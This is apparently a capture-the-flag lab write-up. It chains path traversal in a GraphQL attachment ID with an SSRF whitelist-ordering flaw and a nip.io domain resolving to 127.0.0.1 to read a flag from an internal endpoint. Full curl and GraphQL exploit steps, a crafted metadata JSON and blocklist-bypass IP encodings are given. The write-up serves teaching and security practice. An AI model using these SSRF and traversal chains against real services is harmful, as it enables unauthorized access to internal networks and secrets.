> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# ThreadHub Lab: Chaining Secondary-Context Path Traversal and DNS Rebinding into SSRF
- URL: https://taiwanding.com/en/threadhub-lab-secondary-context-path-traversal-ssrf-writeup/
- Published: 2026-07-13T07:54:12.000Z
- Updated: 2026-07-15T02:50:37.000Z
- Author: Kevin Chen
- Tags: #en, #en-machine

> A hands-on lab that chains two perfectly legitimate features — an "attachment system" and a "custom enterprise domain" setting — into an internal-network SSRF. The goal: reach, from the outside, a secret config endpoint that is only bound to `127.0.0.1:8080` inside the container.

- Lab source: [https://github.com/Mgsy/lab-threadhub](https://github.com/Mgsy/lab-threadhub?ref=taiwanding.com)
- Background reading: the author's blog post "SSRF: Breaking through hidden application context"
- Environment: WSL2 Kali Linux (Docker + curl)

## 1\. Scenario and objective

ThreadHub is a fictional multi-tenant SaaS team-collaboration platform. Each company (tenant) gets its own subdomain (for example `acme.threadhub.lab`) and can configure a "custom enterprise domain" for branding.

Platform features:

- Private team discussion threads (threads / messages)
- An attachment system that also supports "referencing an existing file"
- Enterprise custom-domain configuration

**Ultimate goal**: capture the flag, in the format `mgsy.dev{FLAG}`, located at:

```
http://127.0.0.1:8080/internal/config

```

This endpoint is an internal service inside the container. It has no port mapped externally and is completely unreachable from outside. The only thing that can touch it is the app itself (because they live in the same container). So the whole challenge boils down to a single sentence:

> **Find a way to make the app fetch its own internal `127.0.0.1:8080` for me** — that's SSRF.

## 2\. Environment setup

### 1\. Grab the lab

```bash
cd ~/labs
git clone https://github.com/Mgsy/lab-threadhub.git
cd lab-threadhub

```

### 2\. Set up hosts

The lab distinguishes tenants by subdomain, so you must add the corresponding records to hosts.

WSL2 Kali (`/etc/hosts`):

```bash
echo "127.0.0.1   threadhub.lab"      | sudo tee -a /etc/hosts
echo "127.0.0.1   acme.threadhub.lab" | sudo tee -a /etc/hosts

```

> ⚠️ WSL2 gotcha: what you add here is the **WSL-internal** hosts file. If you want to hit the target from a **Windows browser**, you also need to edit `C:\Windows\System32\drivers\etc\hosts`. And if Tailscale is running on the machine, its MagicDNS may intercept resolution and stop the browser from opening the page — the simplest approach is to just open a browser inside WSL (which uses WSL's hosts), or skip the browser entirely and use curl throughout.

### 3\. Start it up

```bash
docker compose up --build

```

On a successful start you'll see the internal service and the main app both come up, and it helpfully prints the seed accounts:

```
[Internal Service] Running on port 8080
[Database] Users: alice@acme.test (alice123), bob@acme.test (bob123)
[ThreadHub] Server running on port 3000

```

- Application entry point: [http://acme.threadhub.lab](http://acme.threadhub.lab/?ref=taiwanding.com)
- Seed accounts: `alice@acme.test / alice123`, `bob@acme.test / bob123`

### 4\. Topology

```
[attacker] ──:80──> nginx ──:3000──> app container
                                     └── internal-service also runs inside (127.0.0.1:8080)  ← flag lives here

```

The key point: `internal-service` is bound to `0.0.0.0:8080` inside the app container, with **no external port mapping**. The app runs on `127.0.0.1:3000`. Both are in the same container, so the app can reach the internal service directly via `127.0.0.1:8080`.

## 3\. Recon

### 1\. Log in and get a session

```bash
curl -s -c cookies.txt -X POST http://acme.threadhub.lab/login \
  -H 'Content-Type: application/json' \
  -d '{"email":"alice@acme.test","password":"alice123"}'

```

### 2\. Mine the endpoint map from the frontend JS

The frontend `app.js` is served by the server to any visitor, so reading it to harvest endpoints is standard black-box technique:

```bash
curl -s http://acme.threadhub.lab/js/app.js -o app.js
grep -oE '/api/v1/[a-zA-Z0-9/_-]+|/graphql' app.js | sort -u

```

Which gives us:

```
/api/v1/attachments
/api/v1/files
/api/v1/settings/domain
/api/v1/users
/graphql

```

The two features the README calls out are especially suspicious: the **attachment system** and the **custom domain** setting (`/settings/domain`, which manipulates a whitelist). Meanwhile `/graphql` hides most of the business logic.

### 3\. Black-box enumerating GraphQL

Introspection is disabled:

```json
{"errors":[{"message":"GraphQL introspection is not allowed by Apollo Server...","extensions":{"code":"GRAPHQL_VALIDATION_FAILED"}}]}

```

But disabling introspection doesn't stop two things:

1. **The query/mutation strings baked into the frontend JS:**

```bash
grep -oE '(query|mutation)[[:space:]]+[A-Za-z]+' app.js | sort -u
# → CreateMessageMutation / CreateThread / GetThread / GetThreadMessages

```

1. **Apollo's error messages spill the correct schema field by field.** Deliberately send a wrong structure and let its "Did you mean" hints hand you the answers, coaxing the schema out step by step:

```
CreateMessageInput = {
  threadId:      ID!
  htmlBody:      String!
  attachmentIds: [String!]     ← a string! not a strict numeric ID
}

```

> `attachmentIds` being a `String` rather than a numeric type is the first whiff of path traversal.

### 4\. Map out the normal data flow

Upload an attachment:

```bash
echo "hello" > /tmp/test.txt
curl -s -b cookies.txt http://acme.threadhub.lab/api/v1/attachments -F "file=@/tmp/test.txt"

```

The key fields returned:

```json
{
  "attachment": {
    "id": "da612ead-...",
    "content_url": "http://acme.threadhub.lab/uploads/02b73963-....txt"
  }
}

```

Next, create a thread and post a message carrying that attachment, and you can observe the full data flow:

```
you supply an attachmentId
  → backend looks it up in the DB, finds the attachment, reads its content_url
  → backend "actively fetches this content_url" and pulls the content back
  → stores it under /private-attachments/{uuid}/{filename}
  → returns a downloadUrl

```

The returned `fileName` is the **last segment** of the content\_url path — a property that later becomes a very handy oracle.

**Conclusion so far**: at its core this system is "you give it an ID, it goes and fetches the content of some URL for you." The skeleton of an SSRF is already visible; the next step is to turn "the URL it fetches" into one we control.

## 4\. Dissecting the vulnerability chain

From the story-seed thread (the conversation between alice and bob) you can read off a list of defenses — and flipping them around gives you the attack map:

| Defense Alice claims                        | Corresponding attack counter                                        |
| ------------------------------------------- | ------------------------------------------------------------------- |
| flag only accessible from localhost         | the app itself is on localhost → force the app to fetch it (SSRF)   |
| all internal IPs blocked                    | can't send a literal IP → use a "domain that resolves to 127.0.0.1" |
| strict domain whitelist                     | use the custom-domain feature to "add the target to the whitelist"  |
| DNS rebinding / domain tricks are "covered" | the author is directly pointing at the solution direction           |

The full chain is stitched from four gates:

### Gate ①: attachment-ID validation is too weak

When an attachmentId isn't in the DB, the backend only checks "does it start with a digit" (`/^[0-9]/`), so anything beginning with `1/…` passes, and you can stuff an arbitrary path after it.

### Gate ②: Secondary-Context Path Traversal

When the DB lookup misses, the backend string-concatenates the ID into a metadata query URL:

```
http://127.0.0.1:3000/api/v1/attachments/{attachmentId}

```

Node's `new URL()` normalizes `../`, so by controlling attachmentId you can make this "first fetch" jump off to grab a different path — for instance, to fetch a fake metadata JSON we uploaded ourselves to `/uploads/`.

**The key: get the number of levels right** (the easiest place to get stuck in this challenge, see Section 6):

```
injection point: /api/v1/attachments/{here}
to climb out we must escape attachments, v1, api — three levels — plus the "1/" level itself → 4 ../ in total

1/../../../../uploads/xxx.json
  → normalizes → /uploads/xxx.json   ✅

```

### Gate ③: an ordering flaw in the SSRF whitelist

Once it has the metadata, the backend reads the `content_url` out of it and does a "second fetch" — and this is where the real SSRF happens. The fatal ordering in the protection logic `isDomainAllowed`:

```
1. Is this hostname in the whitelist? → yes → allow immediately (skipping ALL the IP blocking below!)
2. (only reached if NOT in the whitelist) compare against blocked patterns: 127. / 10. / 192.168. / ...

```

**The whitelist check runs before the IP block, and a hit means immediate pass-through.** And `/settings/domain` lets you add any domain to the whitelist — it only blocks "literal IPs," but can't stop "a domain with a normal-looking name that resolves to an internal address."

### Gate ④: the `.threadhub.lab` rewrite trap

Just before the fetch there's a snippet: if the hostname ends in `.threadhub.lab`, the URL is forcibly rewritten back to `http://127.0.0.1:3000{path}`. That means **you can't use an internal tenant domain to hit the flag**, because the port gets locked back to 3000 and never reaches 8080\. You need a domain that is "not threadhub.lab, yet can enter the whitelist, and resolves to 127.0.0.1."

`127.0.0.1.nip.io` ticks every box:

- Ends in `.io` and looks like a domain → passes the "no literal IPs" check
- nip.io is wildcard DNS that resolves it to `127.0.0.1`
- Not `.threadhub.lab` → not rewritten, keeps the `:8080`
- Once added to the whitelist → a hit passes immediately, skipping the IP block

## 5\. Full exploit

### Step 1: add the magic domain to the whitelist

```bash
curl -s -b cookies.txt http://acme.threadhub.lab/api/v1/settings/domain \
  -H 'Content-Type: application/json' \
  -d '{"domain":"127.0.0.1.nip.io"}'
# → {"success":true, ... "added to the whitelist"}

```

### Step 2: upload fake metadata that points at the flag

The `/api/v1/files` endpoint doesn't restrict extensions, so you can upload a `.json` directly:

```bash
cat > /tmp/evil.json <<'EOF'
{"attachment":{"content_url":"http://127.0.0.1.nip.io:8080/internal/config"}}
EOF

curl -s -b cookies.txt http://acme.threadhub.lab/api/v1/files -F "file=@/tmp/evil.json"
# → returns url: http://acme.threadhub.lab/uploads/<UUID>.json

```

### Step 3: create a thread where "you are a participant"

`createMessage` first checks whether the sender is a participant of the thread, so when creating it you must add yourself to `participantIds` (otherwise you get blocked before attachment processing even runs, and it silently returns null):

```bash
ALICE=$(curl -s -b cookies.txt http://acme.threadhub.lab/api/v1/users/me | jq -r '.user.id')

curl -s -b cookies.txt http://acme.threadhub.lab/graphql \
  -H 'Content-Type: application/json' \
  -d "{\"query\":\"mutation C(\$input: CreateThreadInput!){ createThread(input:\$input){ id } }\",\"variables\":{\"input\":{\"title\":\"pwn\",\"participantIds\":[\"$ALICE\"]}}}"
# → returns the new thread id

```

### Step 4: trigger it — use the 4-level traversal to fetch the fake metadata

```bash
curl -s -b cookies.txt http://acme.threadhub.lab/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query":"mutation M($input: CreateMessageInput!){ createMessage(input:$input){ message{ attachments{ fileName downloadUrl } } errors } }","variables":{"input":{"threadId":"<THREAD_ID>","htmlBody":"pwn","attachmentIds":["1/../../../../uploads/<UUID>.json"]}}}'

```

Successful response:

```json
{"data":{"createMessage":{"message":{"attachments":[
  {"fileName":"config","downloadUrl":"/private-attachments/<uuid>/config"}
]},"errors":null}}}

```

`fileName` came back as `config` (the last segment of `/internal/config`), which means the backend really did fetch `127.0.0.1.nip.io:8080/internal/config`.

### Step 5: download it and grab the flag

```bash
curl -s -b cookies.txt "http://acme.threadhub.lab/private-attachments/<uuid>/config"

```

```json
{
  ...
  "secrets": {
    "api_key": "mgsy.dev{Redacted}",
    ...
  }
}

```

🚩 **Flag: `mgsy.dev{Redacted}`**

The flag content is the summary in itself — **the trust placed in `content_url` was misplaced**: the backend unconditionally believes "the content\_url inside attachment metadata," letting an attacker feed it a fake one that redirects it into the internal network.

### All four gate bypasses at a glance

| Gate                       | Defense design                               | Bypass                                                              |
| -------------------------- | -------------------------------------------- | ------------------------------------------------------------------- |
| ① attachment-ID validation | only checks "starts with a digit"            | begin with 1/… to pass, then stuff traversal after it               |
| ② Path traversal           | metadata URL built by string concat          | 4 levels of ../ to jump to /uploads/ and fetch self-controlled JSON |
| ③ SSRF whitelist           | whitelist check runs **before** the IP block | add 127.0.0.1.nip.io to the whitelist                               |
| ④ domain rewrite           | .threadhub.lab forcibly redirected to 3000   | nip.io isn't threadhub.lab, so it isn't rewritten and reaches :8080 |

## 6\. Debug notes (things I got stuck on)

The most valuable part of this run wasn't the final payload but the agonizing interpretation in the middle. Here are the potholes I actually stepped in, so those who come after can avoid them:

### Pothole 1: `hang` and `null` are completely different signals

During the attack, different payloads produced two utterly different behaviors. At first I didn't separate them, and it cost me a huge detour:

- **hang (stuck until timeout)** \= the backend really did go fetch, but the target path lands somewhere nonexistent or that hangs, and it gets stuck halfway.
- **instant null** \= the flow ran to completion, but "nothing was fetched" (e.g. the traversal is correct but the file hasn't been uploaded yet, or a preceding check blocked it).

> Lesson: **null means "it finished but came back empty-handed," hang means "it got stuck halfway."** The two must be read separately. My very first batch of comparison experiments actually already showed "only level 4 returns null instantly, levels 1–3 all hang" — that null was the signal for the correct level count, it just came back empty because the ammunition (evil.json) wasn't in place yet, and I misread it as failure.

### Pothole 2: the traversal level count has to be computed, not guessed

I briefly assumed `1/../../uploads/xxx` — two levels — would reach `/uploads/`. Actually testing Node's normalization revealed:

```
1/../../uploads/xxx      → /api/v1/uploads/xxx   (still under /api/v1/, path doesn't exist → hang)
1/../../../uploads/xxx   → /api/uploads/xxx      (still under /api/ → hang)
1/../../../../uploads/xxx → /uploads/xxx         (✅ correct)

```

A little script to verify the level count:

```javascript
// node t.mjs
for (const id of ["1/../../uploads/x","1/../../../uploads/x","1/../../../../uploads/x"]) {
  console.log(id, "→", new URL(`http://127.0.0.1:3000/api/v1/attachments/${id}`).pathname);
}

```

> Lesson: the number of `../` depends on "how deep in the URL path the injection point sits." However many directory segments are above the injection point is how many levels you climb. This is the core fundamental of path traversal, and the place most people get stuck.

### Pothole 3: `createMessage`'s participant pre-check

Creating the thread with an empty `participantIds:[]` means even you aren't a participant, and `createMessage` gets blocked with `You are not a participant` **before it ever processes the attachment**, silently returning null. When creating the thread, add yourself to the participants.

> Lesson: always ask for the `errors` field in the response too (`createMessage{ message{...} errors }`), otherwise on failure all you see is `message:null` — flying blind. With `errors` as your eyes, you can see clearly whether it succeeded or failed.

## 7\. Real-world parallels

Someone will ask: "Where in the wild do you get an 'add to whitelist' feature handed to you?"

This challenge's whitelist feature is exactly a simulation of a real SaaS **enterprise custom domain / Custom Domain** feature — Slack, Notion, Zendesk, GitHub Enterprise and others all have similar mechanisms that let enterprise customers bind their own branded domain. To trust the branded domain, the system will often add it to some kind of internal trust list.

The vulnerability isn't in "having the feature," it's in **"trusting it unconditionally once added, skipping security checks."** Common shapes of real-world SSRF whitelist bypass:

1. **Custom domain doesn't validate the resolution target**: you bind `evil.com`, the system trusts it, but you point `evil.com`'s DNS at `127.0.0.1` (the simplified version of this challenge).
2. **DNS Rebinding**: the domain resolves the first time (passing the check) to a normal IP, and at actual fetch time a second resolution secretly changes it to `127.0.0.1`. DNS has changed between check and use — the most general approach, requiring no whitelist feature at all.
3. **Inconsistent URL parsing**: "is it safe" and "the actual connection" use two different sets of logic that understand the URL differently, causing a bypass.

Even if the system has no custom-domain feature, SSRF still has plenty of entry points: any feature that accepts a URL (webhook, import, thumbnail preview, PDF generator), and any system with only a blocklist and no whitelist (blocklists are trivial to bypass: `0177.0.0.1`, `2130706433`, hex/octal/full-width numeric encodings, and so on).

> From now on, whenever you see any feature in bug bounty that "binds a custom domain / webhook URL / custom callback," you should ask one question: **will it trust a domain I control, and go hit its own internal network?**